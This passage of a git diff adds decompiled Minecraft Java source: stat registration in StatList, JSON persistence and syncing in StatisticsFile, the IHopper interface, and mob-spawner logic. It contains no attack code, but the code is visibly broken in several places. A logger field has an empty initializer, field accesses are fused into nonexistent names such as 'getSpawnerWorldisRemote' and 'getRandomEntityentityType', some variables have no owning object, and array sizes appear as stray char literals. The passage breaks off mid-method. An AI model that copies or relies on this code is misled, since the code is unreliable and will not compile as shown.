+
+  public static StatBase distanceDoveStat = new StatBasic("stat.diveOneCm", new ChatComponentTranslation("stat.diveOneCm", new Object[0]), StatBase.distanceStatType).initIndependentStat().registerStat();
+  
+
+  public static StatBase distanceByMinecartStat = new StatBasic("stat.minecartOneCm", new ChatComponentTranslation("stat.minecartOneCm", new Object[0]), StatBase.distanceStatType).initIndependentStat().registerStat();
+  
+
+  public static StatBase distanceByBoatStat = new StatBasic("stat.boatOneCm", new ChatComponentTranslation("stat.boatOneCm", new Object[0]), StatBase.distanceStatType).initIndependentStat().registerStat();
+  
+
+  public static StatBase distanceByPigStat = new StatBasic("stat.pigOneCm", new ChatComponentTranslation("stat.pigOneCm", new Object[0]), StatBase.distanceStatType).initIndependentStat().registerStat();
+  public static StatBase distanceByHorseStat = new StatBasic("stat.horseOneCm", new ChatComponentTranslation("stat.horseOneCm", new Object[0]), StatBase.distanceStatType).initIndependentStat().registerStat();
+  
+
+  public static StatBase jumpStat = new StatBasic("stat.jump", new ChatComponentTranslation("stat.jump", new Object[0])).initIndependentStat().registerStat();
+  
+
+  public static StatBase dropStat = new StatBasic("stat.drop", new ChatComponentTranslation("stat.drop", new Object[0])).initIndependentStat().registerStat();
+  
+
+  public static StatBase damageDealtStat = new StatBasic("stat.damageDealt", new ChatComponentTranslation("stat.damageDealt", new Object[0]), StatBase.field_111202_k).registerStat();
+  
+
+  public static StatBase damageTakenStat = new StatBasic("stat.damageTaken", new ChatComponentTranslation("stat.damageTaken", new Object[0]), StatBase.field_111202_k).registerStat();
+  
+
+  public static StatBase deathsStat = new StatBasic("stat.deaths", new ChatComponentTranslation("stat.deaths", new Object[0])).registerStat();
+  
+
+  public static StatBase mobKillsStat = new StatBasic("stat.mobKills", new ChatComponentTranslation("stat.mobKills", new Object[0])).registerStat();
+  
+
+  public static StatBase animalsBredStat = new StatBasic("stat.animalsBred", new ChatComponentTranslation("stat.animalsBred", new Object[0])).registerStat();
+  
+
+  public static StatBase playerKillsStat = new StatBasic("stat.playerKills", new ChatComponentTranslation("stat.playerKills", new Object[0])).registerStat();
+  public static StatBase fishCaughtStat = new StatBasic("stat.fishCaught", new ChatComponentTranslation("stat.fishCaught", new Object[0])).registerStat();
+  public static StatBase junkFishedStat = new StatBasic("stat.junkFished", new ChatComponentTranslation("stat.junkFished", new Object[0])).registerStat();
+  public static StatBase treasureFishedStat = new StatBasic("stat.treasureFished", new ChatComponentTranslation("stat.treasureFished", new Object[0])).registerStat();
+  public static StatBase timesTalkedToVillagerStat = new StatBasic("stat.talkedToVillager", new ChatComponentTranslation("stat.talkedToVillager", new Object[0])).registerStat();
+  public static StatBase timesTradedWithVillagerStat = new StatBasic("stat.tradedWithVillager", new ChatComponentTranslation("stat.tradedWithVillager", new Object[0])).registerStat();
+  public static final StatBase[] mineBlockStatArray = new StatBase['က'];
+  
+
+  public static final StatBase[] objectCraftStats = new StatBase['紀'];
+  
+
+  public static final StatBase[] objectUseStats = new StatBase['紀'];
+  
+
+  public static final StatBase[] objectBreakStats = new StatBase['紀'];
+  private static final String __OBFID = "CL_00001480";
+  
+  public StatList() {}
+  
+  public static void func_151178_a() { func_151181_c();
+    initStats();
+    func_151179_e();
+    initCraftableStats();
+    AchievementList.init();
+    EntityList.func_151514_a();
+  }
+  
+
+
+
+
+  private static void initCraftableStats()
+  {
+    HashSet var0 = com.google.common.collect.Sets.newHashSet();
+    Iterator var1 = CraftingManager.getInstance().getRecipeList().iterator();
+    
+    while (var1.hasNext())
+    {
+      IRecipe var2 = (IRecipe)var1.next();
+      
+      if (var2.getRecipeOutput() != null)
+      {
+        var0.add(var2.getRecipeOutput().getItem());
+      }
+    }
+    
+    var1 = FurnaceRecipes.instance().getSmeltingList().values().iterator();
+    
+    while (var1.hasNext())
+    {
+      ItemStack var5 = (ItemStack)var1.next();
+      var0.add(var5.getItem());
+    }
+    
+    var1 = var0.iterator();
+    
+    while (var1.hasNext())
+    {
+      Item var6 = (Item)var1.next();
+      
+      if (var6 != null)
+      {
+        int var3 = Item.getIdFromItem(var6);
+        String var4 = func_180204_a(var6);
+        
+        if (var4 != null)
+        {
+          objectCraftStats[var3] = new StatCrafting("stat.craftItem.", var4, new ChatComponentTranslation("stat.craftItem", new Object[] { new ItemStack(var6).getChatComponent() }), var6).registerStat();
+        }
+      }
+    }
+    
+    replaceAllSimilarBlocks(objectCraftStats);
+  }
+  
+  private static void func_151181_c()
+  {
+    Iterator var0 = Block.blockRegistry.iterator();
+    
+    while (var0.hasNext())
+    {
+      Block var1 = (Block)var0.next();
+      Item var2 = Item.getItemFromBlock(var1);
+      
+      if (var2 != null)
+      {
+        int var3 = Block.getIdFromBlock(var1);
+        String var4 = func_180204_a(var2);
+        
+        if ((var4 != null) && (var1.getEnableStats()))
+        {
+          mineBlockStatArray[var3] = new StatCrafting("stat.mineBlock.", var4, new ChatComponentTranslation("stat.mineBlock", new Object[] { new ItemStack(var1).getChatComponent() }), var2).registerStat();
+          objectMineStats.add((StatCrafting)mineBlockStatArray[var3]);
+        }
+      }
+    }
+    
+    replaceAllSimilarBlocks(mineBlockStatArray);
+  }
+  
+  private static void initStats()
+  {
+    Iterator var0 = Item.itemRegistry.iterator();
+    
+    while (var0.hasNext())
+    {
+      Item var1 = (Item)var0.next();
+      
+      if (var1 != null)
+      {
+        int var2 = Item.getIdFromItem(var1);
+        String var3 = func_180204_a(var1);
+        
+        if (var3 != null)
+        {
+          objectUseStats[var2] = new StatCrafting("stat.useItem.", var3, new ChatComponentTranslation("stat.useItem", new Object[] { new ItemStack(var1).getChatComponent() }), var1).registerStat();
+          
+          if (!(var1 instanceof net.minecraft.item.ItemBlock))
+          {
+            itemStats.add((StatCrafting)objectUseStats[var2]);
+          }
+        }
+      }
+    }
+    
+    replaceAllSimilarBlocks(objectUseStats);
+  }
+  
+  private static void func_151179_e()
+  {
+    Iterator var0 = Item.itemRegistry.iterator();
+    
+    while (var0.hasNext())
+    {
+      Item var1 = (Item)var0.next();
+      
+      if (var1 != null)
+      {
+        int var2 = Item.getIdFromItem(var1);
+        String var3 = func_180204_a(var1);
+        
+        if ((var3 != null) && (var1.isDamageable()))
+        {
+          objectBreakStats[var2] = new StatCrafting("stat.breakItem.", var3, new ChatComponentTranslation("stat.breakItem", new Object[] { new ItemStack(var1).getChatComponent() }), var1).registerStat();
+        }
+      }
+    }
+    
+    replaceAllSimilarBlocks(objectBreakStats);
+  }
+  
+  private static String func_180204_a(Item p_180204_0_)
+  {
+    ResourceLocation var1 = (ResourceLocation)Item.itemRegistry.getNameForObject(p_180204_0_);
+    return var1 != null ? var1.toString().replace(':', '.') : null;
+  }
+  
+
+
+
+  private static void replaceAllSimilarBlocks(StatBase[] p_75924_0_)
+  {
+    func_151180_a(p_75924_0_, Blocks.water, Blocks.flowing_water);
+    func_151180_a(p_75924_0_, Blocks.lava, Blocks.flowing_lava);
+    func_151180_a(p_75924_0_, Blocks.lit_pumpkin, Blocks.pumpkin);
+    func_151180_a(p_75924_0_, Blocks.lit_furnace, Blocks.furnace);
+    func_151180_a(p_75924_0_, Blocks.lit_redstone_ore, Blocks.redstone_ore);
+    func_151180_a(p_75924_0_, Blocks.powered_repeater, Blocks.unpowered_repeater);
+    func_151180_a(p_75924_0_, Blocks.powered_comparator, Blocks.unpowered_comparator);
+    func_151180_a(p_75924_0_, Blocks.redstone_torch, Blocks.unlit_redstone_torch);
+    func_151180_a(p_75924_0_, Blocks.lit_redstone_lamp, Blocks.redstone_lamp);
+    func_151180_a(p_75924_0_, Blocks.double_stone_slab, Blocks.stone_slab);
+    func_151180_a(p_75924_0_, Blocks.double_wooden_slab, Blocks.wooden_slab);
+    func_151180_a(p_75924_0_, Blocks.double_stone_slab2, Blocks.stone_slab2);
+    func_151180_a(p_75924_0_, Blocks.grass, Blocks.dirt);
+    func_151180_a(p_75924_0_, Blocks.farmland, Blocks.dirt);
+  }
+  
+  private static void func_151180_a(StatBase[] p_151180_0_, Block p_151180_1_, Block p_151180_2_)
+  {
+    int var3 = Block.getIdFromBlock(p_151180_1_);
+    int var4 = Block.getIdFromBlock(p_151180_2_);
+    
+    if ((p_151180_0_[var3] != null) && (p_151180_0_[var4] == null))
+    {
+      p_151180_0_[var4] = p_151180_0_[var3];
+    }
+    else
+    {
+      allStats.remove(p_151180_0_[var3]);
+      objectMineStats.remove(p_151180_0_[var3]);
+      generalStats.remove(p_151180_0_[var3]);
+      p_151180_0_[var3] = p_151180_0_[var4];
+    }
+  }
+  
+  public static StatBase func_151182_a(EntityList.EntityEggInfo p_151182_0_)
+  {
+    String var1 = EntityList.getStringFromID(spawnedID);
+    return var1 == null ? null : new StatBase("stat.killEntity." + var1, new ChatComponentTranslation("stat.entityKill", new Object[] { new ChatComponentTranslation("entity." + var1 + ".name", new Object[0]) })).registerStat();
+  }
+  
+  public static StatBase func_151176_b(EntityList.EntityEggInfo p_151176_0_)
+  {
+    String var1 = EntityList.getStringFromID(spawnedID);
+    return var1 == null ? null : new StatBase("stat.entityKilledBy." + var1, new ChatComponentTranslation("stat.entityKilledBy", new Object[] { new ChatComponentTranslation("entity." + var1 + ".name", new Object[0]) })).registerStat();
+  }
+  
+  public static StatBase getOneShotStat(String p_151177_0_)
+  {
+    return (StatBase)oneShotStats.get(p_151177_0_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/stats/StatisticsFile.java b/src/minecraft/net/minecraft/stats/StatisticsFile.java
new file mode 100644
index 0000000..4abc9d5
--- /dev/null
+++ b/src/minecraft/net/minecraft/stats/StatisticsFile.java
@@ -0,0 +1,264 @@
+package net.minecraft.stats;
+
+import com.google.common.collect.Maps;
+import com.google.common.collect.Sets;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParser;
+import com.google.gson.JsonPrimitive;
+import java.io.File;
+import java.io.IOException;
+import java.lang.reflect.Constructor;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.network.NetHandlerPlayServer;
+import net.minecraft.network.play.server.S37PacketStatistics;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.IJsonSerializable;
+import net.minecraft.util.TupleIntJsonSerializable;
+import org.apache.commons.io.FileUtils;
+import org.apache.logging.log4j.Logger;
+
+public class StatisticsFile extends StatFileWriter
+{
+  private static final Logger logger = ;
+  private final MinecraftServer field_150890_c;
+  private final File field_150887_d;
+  private final Set field_150888_e = Sets.newHashSet();
+  private int field_150885_f = 65236;
+  private boolean field_150886_g = false;
+  private static final String __OBFID = "CL_00001471";
+  
+  public StatisticsFile(MinecraftServer p_i45306_1_, File p_i45306_2_)
+  {
+    field_150890_c = p_i45306_1_;
+    field_150887_d = p_i45306_2_;
+  }
+  
+  public void func_150882_a()
+  {
+    if (field_150887_d.isFile())
+    {
+      try
+      {
+        field_150875_a.clear();
+        field_150875_a.putAll(func_150881_a(FileUtils.readFileToString(field_150887_d)));
+      }
+      catch (IOException var2)
+      {
+        logger.error("Couldn't read statistics file " + field_150887_d, var2);
+      }
+      catch (com.google.gson.JsonParseException var3)
+      {
+        logger.error("Couldn't parse statistics file " + field_150887_d, var3);
+      }
+    }
+  }
+  
+  public void func_150883_b()
+  {
+    try
+    {
+      FileUtils.writeStringToFile(field_150887_d, func_150880_a(field_150875_a));
+    }
+    catch (IOException var2)
+    {
+      logger.error("Couldn't save stats", var2);
+    }
+  }
+  
+  public void func_150873_a(EntityPlayer p_150873_1_, StatBase p_150873_2_, int p_150873_3_)
+  {
+    int var4 = p_150873_2_.isAchievement() ? writeStat(p_150873_2_) : 0;
+    super.func_150873_a(p_150873_1_, p_150873_2_, p_150873_3_);
+    field_150888_e.add(p_150873_2_);
+    
+    if ((p_150873_2_.isAchievement()) && (var4 == 0) && (p_150873_3_ > 0))
+    {
+      field_150886_g = true;
+      
+      if (field_150890_c.isAnnouncingPlayerAchievements())
+      {
+        field_150890_c.getConfigurationManager().sendChatMsg(new ChatComponentTranslation("chat.type.achievement", new Object[] { p_150873_1_.getDisplayName(), p_150873_2_.func_150955_j() }));
+      }
+    }
+    
+    if ((p_150873_2_.isAchievement()) && (var4 > 0) && (p_150873_3_ == 0))
+    {
+      field_150886_g = true;
+      
+      if (field_150890_c.isAnnouncingPlayerAchievements())
+      {
+        field_150890_c.getConfigurationManager().sendChatMsg(new ChatComponentTranslation("chat.type.achievement.taken", new Object[] { p_150873_1_.getDisplayName(), p_150873_2_.func_150955_j() }));
+      }
+    }
+  }
+  
+  public Set func_150878_c()
+  {
+    java.util.HashSet var1 = Sets.newHashSet(field_150888_e);
+    field_150888_e.clear();
+    field_150886_g = false;
+    return var1;
+  }
+  
+  public Map func_150881_a(String p_150881_1_)
+  {
+    JsonElement var2 = new JsonParser().parse(p_150881_1_);
+    
+    if (!var2.isJsonObject())
+    {
+      return Maps.newHashMap();
+    }
+    
+
+    JsonObject var3 = var2.getAsJsonObject();
+    HashMap var4 = Maps.newHashMap();
+    Iterator var5 = var3.entrySet().iterator();
+    
+    while (var5.hasNext())
+    {
+      Map.Entry var6 = (Map.Entry)var5.next();
+      StatBase var7 = StatList.getOneShotStat((String)var6.getKey());
+      
+      if (var7 != null)
+      {
+        TupleIntJsonSerializable var8 = new TupleIntJsonSerializable();
+        
+        if ((((JsonElement)var6.getValue()).isJsonPrimitive()) && (((JsonElement)var6.getValue()).getAsJsonPrimitive().isNumber()))
+        {
+          var8.setIntegerValue(((JsonElement)var6.getValue()).getAsInt());
+        }
+        else if (((JsonElement)var6.getValue()).isJsonObject())
+        {
+          JsonObject var9 = ((JsonElement)var6.getValue()).getAsJsonObject();
+          
+          if ((var9.has("value")) && (var9.get("value").isJsonPrimitive()) && (var9.get("value").getAsJsonPrimitive().isNumber()))
+          {
+            var8.setIntegerValue(var9.getAsJsonPrimitive("value").getAsInt());
+          }
+          
+          if ((var9.has("progress")) && (var7.func_150954_l() != null))
+          {
+            try
+            {
+              Constructor var10 = var7.func_150954_l().getConstructor(new Class[0]);
+              IJsonSerializable var11 = (IJsonSerializable)var10.newInstance(new Object[0]);
+              var11.func_152753_a(var9.get("progress"));
+              var8.setJsonSerializableValue(var11);
+            }
+            catch (Throwable var12)
+            {
+              logger.warn("Invalid statistic progress in " + field_150887_d, var12);
+            }
+          }
+        }
+        
+        var4.put(var7, var8);
+      }
+      else
+      {
+        logger.warn("Invalid statistic in " + field_150887_d + ": Don't know what " + (String)var6.getKey() + " is");
+      }
+    }
+    
+    return var4;
+  }
+  
+
+  public static String func_150880_a(Map p_150880_0_)
+  {
+    JsonObject var1 = new JsonObject();
+    Iterator var2 = p_150880_0_.entrySet().iterator();
+    
+    while (var2.hasNext())
+    {
+      Map.Entry var3 = (Map.Entry)var2.next();
+      
+      if (((TupleIntJsonSerializable)var3.getValue()).getJsonSerializableValue() != null)
+      {
+        JsonObject var4 = new JsonObject();
+        var4.addProperty("value", Integer.valueOf(((TupleIntJsonSerializable)var3.getValue()).getIntegerValue()));
+        
+        try
+        {
+          var4.add("progress", ((TupleIntJsonSerializable)var3.getValue()).getJsonSerializableValue().getSerializableElement());
+        }
+        catch (Throwable var6)
+        {
+          logger.warn("Couldn't save statistic " + ((StatBase)var3.getKey()).getStatName() + ": error serializing progress", var6);
+        }
+        
+        var1.add(getKeystatId, var4);
+      }
+      else
+      {
+        var1.addProperty(getKeystatId, Integer.valueOf(((TupleIntJsonSerializable)var3.getValue()).getIntegerValue()));
+      }
+    }
+    
+    return var1.toString();
+  }
+  
+  public void func_150877_d()
+  {
+    Iterator var1 = field_150875_a.keySet().iterator();
+    
+    while (var1.hasNext())
+    {
+      StatBase var2 = (StatBase)var1.next();
+      field_150888_e.add(var2);
+    }
+  }
+  
+  public void func_150876_a(EntityPlayerMP p_150876_1_)
+  {
+    int var2 = field_150890_c.getTickCounter();
+    HashMap var3 = Maps.newHashMap();
+    
+    if ((field_150886_g) || (var2 - field_150885_f > 300))
+    {
+      field_150885_f = var2;
+      Iterator var4 = func_150878_c().iterator();
+      
+      while (var4.hasNext())
+      {
+        StatBase var5 = (StatBase)var4.next();
+        var3.put(var5, Integer.valueOf(writeStat(var5)));
+      }
+    }
+    
+    playerNetServerHandler.sendPacket(new S37PacketStatistics(var3));
+  }
+  
+  public void func_150884_b(EntityPlayerMP p_150884_1_)
+  {
+    HashMap var2 = Maps.newHashMap();
+    Iterator var3 = AchievementList.achievementList.iterator();
+    
+    while (var3.hasNext())
+    {
+      Achievement var4 = (Achievement)var3.next();
+      
+      if (hasAchievementUnlocked(var4))
+      {
+        var2.put(var4, Integer.valueOf(writeStat(var4)));
+        field_150888_e.remove(var4);
+      }
+    }
+    
+    playerNetServerHandler.sendPacket(new S37PacketStatistics(var2));
+  }
+  
+  public boolean func_150879_e()
+  {
+    return field_150886_g;
+  }
+}
diff --git a/src/minecraft/net/minecraft/tileentity/IHopper.java b/src/minecraft/net/minecraft/tileentity/IHopper.java
new file mode 100644
index 0000000..33782df
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/IHopper.java
@@ -0,0 +1,16 @@
+package net.minecraft.tileentity;
+
+import net.minecraft.inventory.IInventory;
+import net.minecraft.world.World;
+
+public abstract interface IHopper
+  extends IInventory
+{
+  public abstract World getWorld();
+  
+  public abstract double getXPos();
+  
+  public abstract double getYPos();
+  
+  public abstract double getZPos();
+}
diff --git a/src/minecraft/net/minecraft/tileentity/MobSpawnerBaseLogic.java b/src/minecraft/net/minecraft/tileentity/MobSpawnerBaseLogic.java
new file mode 100644
index 0000000..c731cbf
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/MobSpawnerBaseLogic.java
@@ -0,0 +1,440 @@
+package net.minecraft.tileentity;
+
+import com.google.common.collect.Lists;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import java.util.Set;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityList;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.item.EntityMinecart.EnumMinecartType;
+import net.minecraft.nbt.NBTBase;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.WeightedRandom;
+import net.minecraft.util.WeightedRandom.Item;
+import net.minecraft.world.World;
+
+public abstract class MobSpawnerBaseLogic
+{
+  private int spawnDelay = 20;
+  private String mobID = "Pig";
+  
+
+  private final List minecartToSpawn = Lists.newArrayList();
+  private WeightedRandomMinecart randomEntity;
+  private double field_98287_c;
+  private double field_98284_d;
+  private int minSpawnDelay = 200;
+  private int maxSpawnDelay = 800;
+  private int spawnCount = 4;
+  
+  private Entity cachedEntity;
+  
+  private int maxNearbyEntities = 6;
+  
+
+  private int activatingRangeFromPlayer = 16;
+  
+
+  private int spawnRange = 4;
+  
+  private static final String __OBFID = "CL_00000129";
+  
+  public MobSpawnerBaseLogic() {}
+  
+  private String getEntityNameToSpawn()
+  {
+    if (getRandomEntity() == null)
+    {
+      if (mobID.equals("Minecart"))
+      {
+        mobID = "MinecartRideable";
+      }
+      
+      return mobID;
+    }
+    
+
+    return getRandomEntityentityType;
+  }
+  
+
+  public void setEntityName(String p_98272_1_)
+  {
+    mobID = p_98272_1_;
+  }
+  
+
+
+
+  private boolean isActivated()
+  {
+    BlockPos var1 = func_177221_b();
+    return getSpawnerWorld().func_175636_b(var1.getX() + 0.5D, var1.getY() + 0.5D, var1.getZ() + 0.5D, activatingRangeFromPlayer);
+  }
+  
+  public void updateSpawner()
+  {
+    if (isActivated())
+    {
+      BlockPos var1 = func_177221_b();
+      
+
+      if (getSpawnerWorldisRemote)
+      {
+        double var2 = var1.getX() + getSpawnerWorldrand.nextFloat();
+        double var4 = var1.getY() + getSpawnerWorldrand.nextFloat();
+        double var6 = var1.getZ() + getSpawnerWorldrand.nextFloat();
+        getSpawnerWorld().spawnParticle(EnumParticleTypes.SMOKE_NORMAL, var2, var4, var6, 0.0D, 0.0D, 0.0D, new int[0]);
+        getSpawnerWorld().spawnParticle(EnumParticleTypes.FLAME, var2, var4, var6, 0.0D, 0.0D, 0.0D, new int[0]);
+        
+        if (spawnDelay > 0)
+        {
+          spawnDelay -= 1;
+        }
+        
+        field_98284_d = field_98287_c;
+        field_98287_c = ((field_98287_c + 1000.0F / (spawnDelay + 200.0F)) % 360.0D);
+      }
+      else
+      {
+        if (spawnDelay == -1)
+        {
+          resetTimer();
+        }
+        
+        if (spawnDelay > 0)
+        {
+          spawnDelay -= 1;
+          return;
+        }
+        
+        boolean var13 = false;
+        
+        for (int var3 = 0; var3 < spawnCount; var3++)
+        {
+          Entity var14 = EntityList.createEntityByName(getEntityNameToSpawn(), getSpawnerWorld());
+          
+          if (var14 == null)
+          {
+            return;
+          }
+          
+          int var5 = getSpawnerWorld().getEntitiesWithinAABB(var14.getClass(), new AxisAlignedBB(var1.getX(), var1.getY(), var1.getZ(), var1.getX() + 1, var1.getY() + 1, var1.getZ() + 1).expand(spawnRange, spawnRange, spawnRange)).size();
+          
+          if (var5 >= maxNearbyEntities)
+          {
+            resetTimer();
+            return;
+          }
+          
+          double var6 = var1.getX() + (getSpawnerWorldrand.nextDouble() - getSpawnerWorldrand.nextDouble()) * spawnRange + 0.5D;
+          double var8 = var1.getY() + getSpawnerWorldrand.nextInt(3) - 1;
+          double var10 = var1.getZ() + (getSpawnerWorldrand.nextDouble() - getSpawnerWorldrand.nextDouble()) * spawnRange + 0.5D;
+          EntityLiving var12 = (var14 instanceof EntityLiving) ? (EntityLiving)var14 : null;
+          var14.setLocationAndAngles(var6, var8, var10, getSpawnerWorldrand.nextFloat() * 360.0F, 0.0F);
+          
+          if ((var12 == null) || ((var12.getCanSpawnHere()) && (var12.handleLavaMovement())))
+          {
+            func_180613_a(var14, true);
+            getSpawnerWorld().playAuxSFX(2004, var1, 0);
+            
+            if (var12 != null)
+            {
+              var12.spawnExplosionParticle();
+            }
+            
+            var13 = true;
+          }
+        }
+        
+        if (var13)
+        {
+          resetTimer();
+        }
+      }
+    }
+  }
+  
+  private Entity func_180613_a(Entity p_180613_1_, boolean p_180613_2_)
+  {
+    if (getRandomEntity() != null)
+    {
+      NBTTagCompound var3 = new NBTTagCompound();
+      p_180613_1_.writeToNBTOptional(var3);
+      Iterator var4 = getRandomEntityfield_98222_b.getKeySet().iterator();
+      
+      while (var4.hasNext())
+      {
+        String var5 = (String)var4.next();
+        NBTBase var6 = getRandomEntityfield_98222_b.getTag(var5);
+        var3.setTag(var5, var6.copy());
+      }
+      
+      p_180613_1_.readFromNBT(var3);
+      
+      if ((worldObj != null) && (p_180613_2_))
+      {
+        worldObj.spawnEntityInWorld(p_180613_1_);
+      }
+      
+      NBTTagCompound var12;
+      
+      for (Entity var11 = p_180613_1_; var3.hasKey("Riding", 10); var3 = var12)
+      {
+        var12 = var3.getCompoundTag("Riding");
+        Entity var13 = EntityList.createEntityByName(var12.getString("id"), worldObj);
+        
+        if (var13 != null)
+        {
+          NBTTagCompound var7 = new NBTTagCompound();
+          var13.writeToNBTOptional(var7);
+          Iterator var8 = var12.getKeySet().iterator();
+          
+          while (var8.hasNext())
+          {
+            String var9 = (String)var8.next();
+            NBTBase var10 = var12.getTag(var9);
+            var7.setTag(var9, var10.copy());
+          }
+          
+          var13.readFromNBT(var7);
+          var13.setLocationAndAngles(posX, posY, posZ, rotationYaw, rotationPitch);
+          
+          if ((worldObj != null) && (p_180613_2_))
+          {
+            worldObj.spawnEntityInWorld(var13);
+          }
+          
+          var11.mountEntity(var13);
+        }
+        
+        var11 = var13;
+      }
+    }
+    else if (((p_180613_1_ instanceof net.minecraft.entity.EntityLivingBase)) && (worldObj != null) && (p_180613_2_))
+    {
+      ((EntityLiving)p_180613_1_).func_180482_a(worldObj.getDifficultyForLocation(new BlockPos(p_180613_1_)), null);
+      worldObj.spawnEntityInWorld(p_180613_1_);
+    }
+    
+    return p_180613_1_;
+  }
+  
+  private void resetTimer()
+  {
+    if (maxSpawnDelay <= minSpawnDelay)
+    {
+      spawnDelay = minSpawnDelay;
+    }
+    else
+    {
+      int var10003 = maxSpawnDelay - minSpawnDelay;
+      spawnDelay = (minSpawnDelay + getSpawnerWorldrand.nextInt(var10003));
+    }
+    
+    if (minecartToSpawn.size() > 0)
+    {
+      setRandomEntity((WeightedRandomMinecart)WeightedRandom.getRandomItem(getSpawnerWorldrand, minecartToSpawn));
+    }
+    
+    func_98267_a(1);
+  }
+  
+  public void readFromNBT(NBTTagCompound p_98270_1_)
+  {
+    mobID = p_98270_1_.getString("EntityId");
+    spawnDelay = p_98270_1_.getShort("Delay");
+    minecartToSpawn.clear();
+    
+    if (p_98270_1_.hasKey("SpawnPotentials", 9))
+    {
+      NBTTagList var2 = p_98270_1_.getTagList("SpawnPotentials", 10);
+      
+      for (int var3 = 0; var3 < var2.tagCount(); var3++)
+      {
+        minecartToSpawn.add(new WeightedRandomMinecart(var2.getCompoundTagAt(var3)));
+      }
+    }
+    
+    if (p_98270_1_.hasKey("SpawnData", 10))
+    {
+      setRandomEntity(new WeightedRandomMinecart(p_98270_1_.getCompoundTag("SpawnData"), mobID));
+    }
+    else
+    {
+      setRandomEntity(null);
+    }
+    
+    if (p_98270_1_.hasKey("MinSpawnDelay", 99))
+    {
+      minSpawnDelay = p_98270_1_.getShort("MinSpawnDelay");
+      maxSpawnDelay = p_98270_1_.getShort("MaxSpawnDelay");
+      spawnCount = p_98270_1_.getShort("SpawnCount");
+    }
+    
+    if (p_98270_1_.hasKey("MaxNearbyEntities", 99))
+    {
+      maxNearbyEntities = p_98270_1_.getShort("MaxNearbyEntities");
+      activatingRangeFromPlayer = p_98270_1_.getShort("RequiredPlayerRange");
+    }
+    
+    if (p_98270_1_.hasKey("SpawnRange", 99))
+    {
+      spawnRange = p_98270_1_.getShort("SpawnRange");
+    }
+    
+    if (getSpawnerWorld() != null)
+    {
+      cachedEntity = null;
+    }
+  }
+  
+  public void writeToNBT(NBTTagCompound p_98280_1_)
+  {
+    p_98280_1_.setString("EntityId", getEntityNameToSpawn());
+    p_98280_1_.setShort("Delay", (short)spawnDelay);
+    p_98280_1_.setShort("MinSpawnDelay", (short)minSpawnDelay);
+    p_98280_1_.setShort("MaxSpawnDelay", (short)maxSpawnDelay);
+    p_98280_1_.setShort("SpawnCount", (short)spawnCount);
+    p_98280_1_.setShort("MaxNearbyEntities", (short)maxNearbyEntities);
+    p_98280_1_.setShort("RequiredPlayerRange", (short)activatingRangeFromPlayer);
+    p_98280_1_.setShort("SpawnRange", (short)spawnRange);
+    
+    if (getRandomEntity() != null)
+    {
+      p_98280_1_.setTag("SpawnData", getRandomEntityfield_98222_b.copy());
+    }
+    
+    if ((getRandomEntity() != null) || (minecartToSpawn.size() > 0))
+    {
+      NBTTagList var2 = new NBTTagList();
+      
+      if (minecartToSpawn.size() > 0)
+      {
+        Iterator var3 = minecartToSpawn.iterator();
+        
+        while (var3.hasNext())
+        {
+          WeightedRandomMinecart var4 = (WeightedRandomMinecart)var3.next();
+          var2.appendTag(var4.func_98220_a());
+        }
+      }
+      else
+      {
+        var2.appendTag(getRandomEntity().func_98220_a());
+      }
+      
+      p_98280_1_.setTag("SpawnPotentials", var2);
+    }
+  }
+  
+  public Entity func_180612_a(World worldIn)
+  {
+    if (cachedEntity == null)
+    {
+      Entity var2 = EntityList.createEntityByName(getEntityNameToSpawn(), worldIn);
+      
+      if (var2 != null)
+      {
+        var2 = func_180613_a(var2, false);
+        cachedEntity = var2;
+      }
+    }
+    
+    return cachedEntity;
+  }
+  
+
+
+
+  public boolean setDelayToMin(int p_98268_1_)
+  {
+    if ((p_98268_1_ == 1) && (getSpawnerWorldisRemote))
+    {
+      spawnDelay = minSpawnDelay;
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+  private WeightedRandomMinecart getRandomEntity()
+  {
+    return randomEntity;
+  }
+  
+  public void setRandomEntity(WeightedRandomMinecart p_98277_1_)
+  {
+    randomEntity = p_98277_1_;
+  }
+  
+  public abstract void func_98267_a(int paramInt);
+  
+  public abstract World getSpawnerWorld();
+  
+  public abstract BlockPos func_177221_b();
+  
+  public double func_177222_d()
+  {
+    return field_98287_c;
+  }
+  
+  public double func_177223_e()
+  {
+    return field_98284_d;
+  }
+  
+  public class WeightedRandomMinecart extends WeightedRandom.Item
+  {
+    private final NBTTagCompound field_98222_b;
+    private final String entityType;
+    private static final String __OBFID = "CL_00000130";
+    
+    public WeightedRandomMinecart(NBTTagCompound p_i1945_2_)
+    {
+      this(p_i1945_2_.getCompoundTag("Properties"), p_i1945_2_.getString("Type"), p_i1945_2_.getInteger("Weight"));
+    }
+    
+    public WeightedRandomMinecart(NBTTagCompound p_i1946_2_, String p_i1946_3_)
+    {
+      this(p_i1946_2_, p_i1946_3_, 1);
+    }
+    
+    private WeightedRandomMinecart(NBTTagCompound p_i45757_2_, String p_i45757_3_, int p_i45757_4_)
+    {
+      super();
+      
+      if (p_i45757_3_.equals("Minecart"))
+      {
+        if (p_i45757_2_ != null)
+        {
+          p_i45757_3_ = EntityMinecart.EnumMinecartType.func_180038_a(p_i45757_2_.getInteger("Type")).func_180040_b();
+        }
+        else
+        {
+          p_i45757_3_ = "MinecartRideable";
+        }
+      }
+      
+      field_98222_b = p_i45757_2_;
+      entityType = p_i45757_3_;
+    }
+    
+    public NBTTagCompound func_98220_a()
+    {
+      NBTTagCompound var1 = new NBTTagCompound();
+      var1.setTag("Properties", field_98222_b);
+      var1.setString("Type", entityType);
